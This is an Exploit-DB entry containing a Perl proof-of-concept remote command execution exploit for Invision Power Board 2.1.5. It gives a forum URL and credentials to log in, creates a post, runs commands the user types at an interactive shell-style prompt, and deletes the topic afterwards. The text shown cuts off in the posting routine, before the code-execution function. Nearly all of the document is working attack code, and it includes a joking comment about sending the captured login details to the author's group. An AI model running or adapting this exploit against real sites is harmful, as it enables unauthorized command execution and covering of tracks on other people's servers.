Exploit-DB #1726
Description: Invision Power Board 2.1.5 - 'search.php' Remote Code Execution
Type: webapps
Platform: php
Date: 2006-04-29
Author: Javier Olascoaga

Exploit:
#!/usr/bin/perl
# Wed Apr 26 16:44:15 CEST 2006 jolascoaga@514.es
#
# INVISION POWER BOARD 2.1.5 <www.invisionboard.com> pr00f 0f c0ncept
#
# remote command execution. vuln credits goes to IceShaman.
#
# works only if you have perms to post a comment. Exploit with replye is
# in my TODO...
#
# 514 still r0xing.
# !dSR the hardc0re hax0rs ;)
# There is no kwel comments in this release, wait for next upgrade
#######################################################################/

use LWP::UserAgent;
use HTTP::Cookies;
use LWP::Simple;
use HTTP::Request::Common "POST";
use HTTP::Response;
use Getopt::Long;
use strict;

$| = 1; # ;1 = |$

my ($proxy,$proxy_user,$proxy_pass,$lang);
my ($arg_host,$debug,$ipb_user,$ipb_pass, $lang, $errors, $topic_index, $tmp_var);
my ($md5_key, $post_key, $tmp_var);

my %lang_es = (
       'name' => 'Spanish Language',
       'login' => "Ahora estás identificado",
       'incorrect' => "Nombre de usuario o contraseña incorrectos",
       'deleted' => "Tema Eliminado"
);

my %lang_en = (
       'name' => 'English language',
       'login' =>  "You are now logged in",
       'incorrect' => "Sorry, we could not find a member using those log in details",
       'deleted'  => 'Topic Deleted',
);
my %lang_strings = ();

my $ua = new LWP::UserAgent(
           cookie_jar=> { file => "$$.cookie" });

my $options = GetOptions (
 'host=s'            => \$arg_host,
 'proxy=s'           => \$proxy,
 'proxy_user=s'      => \$proxy_user,
 'proxy_pass=s'      => \$proxy_pass,
 'ipb_user=s'        => \$ipb_user,
 'ipb_pass=s'        => \$ipb_pass,
 'lang=s'            => \$lang,
 'errors'            => \$errors,
 'debug'             => \$debug);

my ($host, $forum_index) = $arg_host =~ m/(http.*?)index.*?showforum=(.*)/;
print "Host: $host\nForum Index: $forum_index\n" if $debug;

&help unless ($host);

# w0w0w0w0w0 is smarter than some one i know :D
if (!$lang) {
       lang_autodetect();
       print "Detected lang is: $lang_strings{'name'}\n" if $debug;
}

while (1){
   print "invvy:\\> ";
   my $cmd = <STDIN>;
   &invvy($cmd);
}

sub invvy {
       chomp (my $cmd = shift);
       LWP::Debug::level('+') if $debug;

       $ua->agent("Morzilla/5.0 (THIS IS AN EXPLOIT. IDS, PLZ, Gr4b ME!!!");

       $ua->proxy(['http'] => $proxy) if $proxy;
       my $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

       ipb_login (); # This works with redirects enabled/disabled


       ipb_post(); # Post in a main forum.

       ipb_exec ($cmd);

       ipb_delete ($forum_index, $topic_index);
}
# guglucitos team presents:

sub help {
   print "Syntax: ./$0 <url> [options]\n";
   print "\t--ipb_user, --ipb_pass  (needed if dont allow anonymous posts)\n";
   print "\t--proxy (http), --proxy_user, --proxy_pass\n";
   print "\t--lang=[es|en] (default: autodetect)\n";
   print "\t--debug\n";
   print "\nExample\n";
   print "bash# $0 --host=http://www.somehost.com/index.php?showforum=2\n";
   print "\n";
   exit(1);
}

# sponsorized by coca-cola
sub lang_autodetect {

   my $req = HTTP::Request->new (GET => $host."/index.php");
   $ua->proxy(['http'] => $proxy) if $proxy;
   $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

   print $req->as_string() if $debug;

   my $res = $ua->request($req);
   my $html = $res->content();

   if (($html =~ /Bienvenido,/) or  ($html =~ /Fecha y Hora actual/)) {
               %lang_strings =  %lang_es;
               return;
   }
   if (($html =~ /Welcome,/) or ($html =~ /Time is now/)) {
               %lang_strings = %lang_en;
               return;
   }
   print "Unknown lang switching to default: 'english'\n";
   %lang_strings =  %lang_en;
}

# login function for 2.1.5
sub ipb_login {
       my $content;
       my $h = $host."/index.php?act=Login&CODE=01";
       print $h . "\n" if $debug;
       my $req = POST $h,[
               'referer' => $host,
               'UserName' => $ipb_user,
               'PassWord' => $ipb_pass,
               'CookieDate' => 1
               ]; #grab these, and send to dsr!
       print $req->as_string() if $debug;
       my $res = $ua->request($req);
       if ($errors) {
               print "[+] Context: Login in\n";
               print "HTTP Error code: ".$res->code()."\n";
               print "HTTP Location: ".$res->header("Location")."\n";
               my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
               print "- ERROR -\nFind string: ".$lang_strings{'login'}."\n$error\n- ERROR -\n";
       }
       if ($res->code() eq 302) {
               $content = redirect ($res->header("Location"));

       } else {

               $content = $res->content();
       }

       if ($content =~ /$lang_strings{'login'}/ or $content =~ /Logged in as/) {
           print "Logged in\n" if $errors;
       } else {
          die "Can't log in\n";
       }

}

sub redirect {
   my ($addr) = @_;
   my $req = HTTP::Request->new (GET => $addr);
   $ua->proxy(['http'] => $proxy) if $proxy;
   $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

   print $req->as_string() if $debug; # MKSINK is r0xer

   my $res = $ua->request($req);
   my $html = $res->content();

   return $html;
}

sub ipb_post {
       # This is for posting into a main index.

       my $h = $host."/index.php?act=post&do=new_post&f=".$forum_index;

       my $req = HTTP::Request->new (GET => $h);
       $ua->proxy(['http'] => $proxy) if $proxy;
       $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

       print $req->as_string() if $debug; #dirty_epic r0x++

       my $res = $ua->request($req);
       my $html = $res->content();

       ($md5_key) = $html =~ m/var ipb_md5_check\s+= \"(.*?)\"/;
       ($post_key) = $html =~ m/post_key' value='(.*?)'/;